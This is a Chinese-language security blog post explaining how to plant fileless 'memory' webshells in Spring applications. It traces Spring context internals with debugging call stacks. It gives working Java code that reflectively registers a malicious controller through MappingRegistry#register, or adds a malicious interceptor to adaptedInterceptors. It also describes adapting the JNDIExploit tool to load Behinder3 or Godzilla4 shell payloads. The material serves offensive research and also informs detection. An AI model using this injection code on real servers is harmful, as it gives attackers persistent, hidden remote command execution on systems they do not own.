Java安全之Spring記憶體馬

Zh1z3ven發表於2022-01-10

Java安全之Spring記憶體馬

基礎知識

Bean

bean 是 Spring 框架的一個核心概念,它是構成應用程式的主幹,並且是由 Spring IoC 容器負責例項化、配置、組裝和管理的物件。

通俗來講:

  • bean 是物件
  • bean 被 IoC 容器管理
  • Spring 應用主要是由一個個的 bean 構成的

ApplicationContext

Spring 框架中,BeanFactory 介面是 Spring IoC容器 的實際代表者。

從下面的介面繼承關係圖中可以看出,ApplicationContext 介面繼承了 BeanFactory 介面,並通過繼承其他介面進一步擴充套件了基本容器的功能。

因此,org.springframework.context.ApplicationContext介面也代表了 IoC容器 ,它負責例項化、定位、配置應用程式中的物件(bean)及建立這些物件間(beans)的依賴。

IoC容器通過讀取配置後設資料來獲取物件的例項化、配置和組裝的描述資訊。配置的零後設資料可以用xmlJava註解Java程式碼來表示。

實現思路:

  1. 使用純 java 程式碼來獲得當前程式碼執行時的上下文環境(Conetxt);
  2. 使用純 java 程式碼在上下文環境中手動註冊一個 controller;
  3. controller中RequestMapping的方法中寫入 Webshell 邏輯,達到和 Webshell 的 URL 進行互動回顯的效果;

ContextLoaderListener 與 DispatcherServlet

主要看一下ContextLoaderListener,DispatcherServlet在之前分析Thymeleaf的SSTI的時候就做了相關的分析

下面是一個典型 Spring 應用的 web.xml 配置示例:

<web-app xmlns:xsi="&lt;a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
         xmlns="http://java.sun.com/xml/ns/javaee"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
         version="2.5">

    <display-name>HelloSpringMVC</display-name>

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>/WEB-INF/applicationContext.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

    <servlet>
        <servlet-name>dispatcherServlet</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>dispatcherServlet</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>
</web-app>

關於 Root ContextChild Context 的重要概念:

  • Spring 應用中可以同時有多個 Context,其中只有一個 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以訪問在 Root Context中定義的 bean,但是Root Context無法訪問Child Context中定義的 bean
  • 所有的Context在建立後,都會被作為一個屬性新增到了 ServletContext

ContextLoaderListener

ContextLoaderListener 主要被用來初始化全域性唯一的Root Context,即 Root WebApplicationContext。這個 Root WebApplicationContext 會和其他 Child Context 例項共享它的 IoC 容器,供其他 Child Context 獲取並使用容器中的 bean

回到 web.xml 中,其相關配置如下:

<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

依照規範,當沒有顯式配置 ContextLoaderListenercontextConfigLocation 時,程式會自動尋找 /WEB-INF/applicationContext.xml,作為配置檔案,所以其實上面的 <context-param> 標籤對其實完全可以去掉。

DispatcherServlet 初始化完成後,會建立一個普通的 Child Context 例項。

每個具體的 DispatcherServlet 建立的是一個 Child Context,代表一個獨立的 IoC 容器;而 ContextLoaderListener 所建立的是一個 Root Context,代表全域性唯一的一個公共 IoC 容器

果要訪問和操作 bean ,一般要獲得當前程式碼執行環境的IoC 容器 代表者 ApplicationContext

Spring Controller記憶體馬實現

獲取Context

所有的Context在建立後,都會被作為一個屬性新增到了 ServletContext

LandGrey師傅文中給出了4種獲取當前上下文的思路

第一種:getCurrentWebApplicationContext()

// getCurrentWebApplicationContext方法獲得的是一個XmlWebApplicationContext例項型別的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

第二種:WebApplicationContextUtils

// 通過這種方法獲得的也是一個 Root WebApplicationContext 。此方法看起來比較麻煩
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

第三種:RequestContextUtils

// 通過 ServletRequest 類的例項來獲得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

第四種:getAttribute

// 這種方式與前幾種的思路就不太一樣了,因為所有的Context在建立後,都會被作為一個屬性新增到了ServletContext中。所以通過直接獲得ServletContext通過屬性Context拿到 Child WebApplicationContext

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

先來看第一種獲取方式,這裡Spring環境為5.2.3.RELEASE,該版本下的並沒有getCurrentWebApplicationContext方法,找的是findWebApplicationContext方法作為替代。

原始碼如下,可以看出WebApplicationContextDispatcherServlet類的屬性WEB_APPLICATION_CONTEXT_ATTRIBUTE

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
    WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    if (webApplicationContext == null) {
        if (servletContext != null) {
            webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        }

        if (webApplicationContext == null) {
            webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
        }
    }

    return webApplicationContext;
}

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
    return findWebApplicationContext(request, request.getServletContext());
}

那麼跟進DispatcherServlet類中,WebApplicationContext是在doService方法中進行初始化的,doService方法則是初始化一些全域性屬性之後進入doDispatch方法處理RequestResponse

註冊Controller

Spring 2.5 開始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
對映器 ;

Spring 3.1 開始及以後一般開始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
對映器來支援@Contoller和@RequestMapping註解。

除錯分析

程式碼如下,使用的su18師傅的思路,通過獲取RequestMappingHandlerMapping父類的MappingRegistry屬性並呼叫register方法來註冊惡意的Controller

@Controller
public class AddControllerMemshell {

    @RequestMapping(value = "/addcontroller")
    public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{

        final String controllerPath = "/zh1z3ven";

        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
        f.setAccessible(true);
        Object mappingRegistry = f.get(mapping);

        Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

        Method[] ms = c.getDeclaredMethods();

        Field field = c.getDeclaredField("urlLookup");
        field.setAccessible(true);

        Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
        for (String urlPath : urlLookup.keySet()) {
            if (controllerPath.equals(urlPath)) {
                response.getWriter().println("controller url path exist already");
                return;
            }
        }

        PatternsRequestCondition url       = new PatternsRequestCondition(controllerPath);
        RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
        RequestMappingInfo info      = new RequestMappingInfo(url, condition, null, null, null, null, null);

        Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);

        for (Method method : ms) {
            if ("register".equals(method.getName())) {
                method.setAccessible(true);
                method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
                response.getWriter().println("spring controller add");
            }
        }
    }

}

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());程式碼處下斷點跟進,首先是通過RequestContextHolder.currentRequestAttributes()方法拿到Request的封裝類RequestFacade物件

強轉為ServletRequestAttributes型別後呼叫getRequest方法拿到當前的Request物件

之後作為引數進入到findWebApplicationContext方法(Spring環境為5.2.3.RELEASE,該版本下並沒有getCurrentWebApplicationContext方法,找的是findWebApplicationContext方法作為替代)

findWebApplicationContext方法原始碼如下,可以看出WebApplicationContextDispatcherServlet類的屬性WEB_APPLICATION_CONTEXT_ATTRIBUTE

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request, @Nullable ServletContext servletContext) {
    WebApplicationContext webApplicationContext = (WebApplicationContext)request.getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);
    if (webApplicationContext == null) {
        if (servletContext != null) {
            webApplicationContext = WebApplicationContextUtils.getWebApplicationContext(servletContext);
        }

        if (webApplicationContext == null) {
            webApplicationContext = ContextLoader.getCurrentWebApplicationContext();
        }
    }

    return webApplicationContext;
}

@Nullable
public static WebApplicationContext findWebApplicationContext(HttpServletRequest request) {
    return findWebApplicationContext(request, request.getServletContext());
}

0x01 獲取上下文
那麼跟進DispatcherServlet類中,WebApplicationContext是在doService方法中進行初始化的,doService方法則是初始化一些全域性屬性之後進入doDispatch方法處理RequestResponse

回頭看findWebApplicationContext方法,獲取到的是一個XmlWebApplicationContext例項型別的 Root WebApplicationContext

0x02 獲取RequestMappingHandlerMapping

關於RequestMappingHandlerMapping

RequestMappingHandlerMapping的作用是在容器啟動後將系統中所有控制器方法的請求條件(RequestMappingInfo)和控制器方法(HandlerMethod)的對應關係註冊到RequestMappingHandlerMapping Bean的記憶體中,待介面請求系統的時候根據請求條件和記憶體中儲存的系統介面資訊比對,再執行對應的控制器方法。
直白一點講就是處理Controller中在存在@RequestMapping註解的方法,當我們訪問該註解中的值對應的url時,請求會進入相應的方法處理,而RequestMappingHandlerMapping類就是做的繫結@RequestMapping註解與相應Method之間的對映

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
最終進入DefaultListableBeanFactory#getBean方法,之後通過走resolveBean邏輯獲取並return RequestMappingHandlerMapping例項物件

主要邏輯還是在DefaultListableBeanFactory#resolveNamedBean方法中,先是傳入requiredType.toClass()beanNameargs,走進getBean方法邏輯去獲取 RequestMappingHandlerMapping的例項化物件

getBean方法中單步除錯過程有些多,就不貼圖了,呼叫棧如下:

doGetBean:250, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:227, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveNamedBean:1155, DefaultListableBeanFactory (org.springframework.beans.factory.support)
resolveBean:416, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:349, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:342, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBean:1126, AbstractApplicationContext (org.springframework.context.support)

最終呼叫getSingleton方法獲取到了 RequestMappingHandlerMapping 的例項物件

之後new 了一個 NamedBeanHolder 將RequestMappingHandlerMapping物件與beanName一起作為的屬性儲存在NamedBeanHolder中

後續通過該物件的getBeanInstance方法獲取到RequestMappingHandlerMapping並返回出來,至此也就拿到了RequestMappingHandlerMapping物件

0x03 反射獲取mappingRegistry屬性

Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

該屬性為AbstractHandlerMethodMapping的內建類MappingRegistry物件,其中包含了regiester方法,後續新增contorller也是通過此方法

0x04 MappingRegistry#register
這裡大致為兩步,首先是構造RequestMappingInfo,其中包含了我們註冊時需要的一些屬性,其次是反射呼叫MappingRegistry#register方法將惡意的Controller給註冊進去

因為是通過MappingRegistry#register方法註冊Controller,我們簡單來看一下一個正常的Controller是如何在程式碼中繫結@RequestMapping註解和對應Method方法的。
因為整個過程呼叫棧比較長,如果想從初始化開始一直到register方法會貼很多圖,感興趣的師傅可以根據su18師傅以及這篇文章去除錯,相關呼叫棧如下

register:598, AbstractHandlerMethodMapping$MappingRegistry (org.springframework.web.servlet.handler)
registerHandlerMethod:318, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
registerHandlerMethod:350, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
registerHandlerMethod:67, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
lambda$detectHandlerMethods$1:288, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
accept:-1, 2019467502 (org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$$Lambda$99)
forEach:684, LinkedHashMap (java.util)
detectHandlerMethods:286, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
processCandidateBean:258, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
initHandlerMethods:217, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:205, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
afterPropertiesSet:171, RequestMappingHandlerMapping (org.springframework.web.servlet.mvc.method.annotation)
invokeInitMethods:1855, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
initializeBean:1792, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
doCreateBean:595, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
createBean:517, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
lambda$doGetBean$0:323, AbstractBeanFactory (org.springframework.beans.factory.support)
getObject:-1, 924632896 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$56)
getSingleton:222, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support)
doGetBean:321, AbstractBeanFactory (org.springframework.beans.factory.support)
getBean:202, AbstractBeanFactory (org.springframework.beans.factory.support)
preInstantiateSingletons:879, DefaultListableBeanFactory (org.springframework.beans.factory.support)
finishBeanFactoryInitialization:878, AbstractApplicationContext (org.springframework.context.support)
refresh:550, AbstractApplicationContext (org.springframework.context.support)
configureAndRefreshWebApplicationContext:702, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:668, FrameworkServlet (org.springframework.web.servlet)
createWebApplicationContext:716, FrameworkServlet (org.springframework.web.servlet)
initWebApplicationContext:591, FrameworkServlet (org.springframework.web.servlet)

這裡直接來看AbstractHandlerMethodMapping#processCandidateBean方法
先通過if中的isHandler方法判斷當前的beanType是否含有@Controller或者@RquestMapping註解

跟入detectHandlerMethods,首先獲取handler的class物件,之後在lambda表示式中通過呼叫createRequestMappingInfo方法根據註解建立RequestMappingInfo物件,之後呼叫forEach迴圈遍歷前面篩選出的method並呼叫registerHandlerMethod方法建立method與mapping之間的對映

而registerHandlerMethod方法最終是呼叫的MappingRegistry#register方法
register方法原始碼如下

public void register(T mapping, Object handler, Method method) {
    if (KotlinDetector.isKotlinType(method.getDeclaringClass()) && AbstractHandlerMethodMapping.KotlinDelegate.isSuspend(method)) {
        throw new IllegalStateException("Unsupported suspending handler method detected: " + method);
    } else {
        this.readWriteLock.writeLock().lock();

        try {
            HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
            this.validateMethodMapping(handlerMethod, mapping);
            this.mappingLookup.put(mapping, handlerMethod);
            List<String> directUrls = this.getDirectUrls(mapping);
            Iterator var6 = directUrls.iterator();

            while(var6.hasNext()) {
                String url = (String)var6.next();
                this.urlLookup.add(url, mapping);
            }

            String name = null;
            if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
                name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
                this.addMappingName(name, handlerMethod);
            }

            CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
            if (corsConfig != null) {
                this.corsLookup.put(handlerMethod, corsConfig);
            }

            this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directUrls, name));
        } finally {
            this.readWriteLock.writeLock().unlock();
        }
    }
}

register方法主要做的就是繫結method與mapping之間的對映
比如mappingLookup屬性儲存了mapping與handler method的對映關係

而在urlLookup中儲存了url與mapping的對映關係

以及在registry中,儲存了mapping與MappingRegistration物件的對映關係。

綜上,在註冊Controller時大致需要用到的具體的屬性如下。

所以整個Spring Controller記憶體馬註冊的過程大致如下:

獲取Context ==> 獲取RequestMappingHandlerMapping ==> 獲取MappingRegistry屬性 ==> 構造RequestMappingInf(url,RequestMethodsRequestCondition ==> 呼叫MappingRegistry#register方法註冊Controller

Spring Interceptor記憶體馬實現

定義攔截器必須實現HandlerInterceptor介面,HandlerInterceptor介面中有三個方法:

  • preHandle方法是controller方法執行前攔截的方法
    return true放行,執行下一個攔截器,如果沒有攔截器,執行controller中的方法。
    return false不放行,不會執行controller中的方法。
  • postHandle是controller方法執行後執行的方法,在JSP檢視執行前。
    可以使用request或者response跳轉到指定的頁面
    如果指定了跳轉的頁面,那麼controller方法跳轉的頁面將不會顯示。
  • afterCompletion方法是在JSP執行後執行
    request或者response不能再跳轉頁面了

攔截器就不再多說了,而關於攔截器的初始化與註冊,其實在之前分析doDispatch方法文章裡就有涉及到一點,這次深入跟一下。
斷點直接打在DispatcherServlet#doDispatch方法,F9跳入getHandler方法中

該方法對HandlerMapping進行遍歷,當某個HandlerMapping呼叫getHandler的返回結果HandlerExecutionChain物件不為null時,則將此HandlerExecutionChain物件return出去。

往下跟而其中mapping物件呼叫的getHandler方法為AbstractHandlerMapping#getHandler方法,而HandlerExecutionChain鍍錫是通過呼叫getHandlerExecutionChain獲取到的

繼續跟進getHandlerExecutionChain方法,最終通過HandlerExecutionChain#addInterceptor方法新增的攔截器Interceptor

觀察下面addInterceptor原始碼可發現,目前只要構造好一個實現HandlerInterceptor惡意Interceptor即可。

public void addInterceptor(HandlerInterceptor interceptor) {
        this.initInterceptorList().add(interceptor);
    }

那後續就是觀察Interceptor是在哪裡固定呼叫的哪一個方法,就類似於Tomcat中Filter的doFileter方法一樣。

其實重點就是獲取ApplicationContextrequestMappingHandlerMappingadaptedInterceptors屬性,拿到adaptedInterceptors屬性後調add方法把我們惡意的攔截器新增進去即可。
看一下網上多數文章用到的注入攔截器的程式碼,copy自su18師傅,add方法中那一串就是base64編碼後的class檔案的bytes陣列,主要看思路。
大致是通過:
0x01: RequestContextUtils.findWebApplicationContext獲取Context
0x02: context.getBean(RequestMappingHandlerMapping.class)獲取RequestMappingHandlerMapping
0x03: 反射獲取adaptedInterceptors屬性
0x04: list.add(HandlerInterceptor)新增Interceptor

@Controller
public class AddInterceptorMemshell {

    @RequestMapping(value = "/addinterceptor")
    public void addInterceptor(HttpServletRequest request, HttpServletResponse response) throws Exception {
    
        WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

        RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

        Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
        f.setAccessible(true);
        List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
        list.add((HandlerInterceptor) Util.getClass(Util.INTERCEPTOR_CMDMEMSHELL_CLASS_STRING).newInstance());
        response.getWriter().println("interceptor added");

    }
}

剩下的就不測試了,類似於Controller,下面看下改JNDIExploit時遇到的小問題

改造JNDIExploit

feihong師傅的JNDIExploit專案中獲取ApplicationContext思路如下:

// 1. 反射 org.springframework.context.support.LiveBeansView 類 applicationContexts 屬性
Field field = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 屬性被 private 修飾,所以 setAccessible true
field.setAccessible(true);
// 3. 獲取一個 ApplicationContext 例項
WebApplicationContext context =(WebApplicationContext) ((LinkedHashSet)field.get(null)).iterator().next();

而我在測試5.2.3的Spring時會丟擲如下異常

[+] Add Dynamic Interceptor
java.util.NoSuchElementException
	at java.util.LinkedHashMap$LinkedHashIterator.nextNode(LinkedHashMap.java:721)
	at java.util.LinkedHashMap$LinkedKeyIterator.next(LinkedHashMap.java:742)

暫時沒找到原因,所以在改JNDIExploit時也是用的第一種獲取Context的思路,重新拿反射寫了一遍,大致程式碼如下(只測試了5.2.3版本Spring通過)

// 0x01 獲取Context
Class RCHClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
ServletRequestAttributes servletRequestAttributes = (ServletRequestAttributes) RCHClass.getDeclaredMethod("currentRequestAttributes").invoke(RCHClass, null);

// Method currentRequestAttributes = rctxh.getDeclaredMethod("currentRequestAttributes", null);
Class SRAClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = SRAClass.getDeclaredMethod("getRequest");

Class RCUClass = Class.forName("org.springframework.web.servlet.support.RequestContextUtils");
Method findWebApplicationContextMethod = RCUClass.getMethod("findWebApplicationContext", HttpServletRequest.class);
WebApplicationContext context = (WebApplicationContext) findWebApplicationContextMethod.invoke(RCUClass, getRequestMethod.invoke(servletRequestAttributes));

// 0x02 通過 context 獲取 RequestMappingHandlerMapping 物件
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 0x03 獲取adaptedInterceptors並新增Interceptor
Field f = mapping.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) clazz.newInstance());

那麼剩下的就是將Behinder3或者Godzilla4的Memshell base64欄位替換一下即可。

Behinder3 Memshell

Godzilla4 Memshell

Reference

https://landgrey.me/blog/12/
https://landgrey.me/blog/19/
https://su18.org/post/memory-shell/
https://myzxcg.com/2021/11/Spring-記憶體馬實現/
https://f5.pm/go-83042.html

相關文章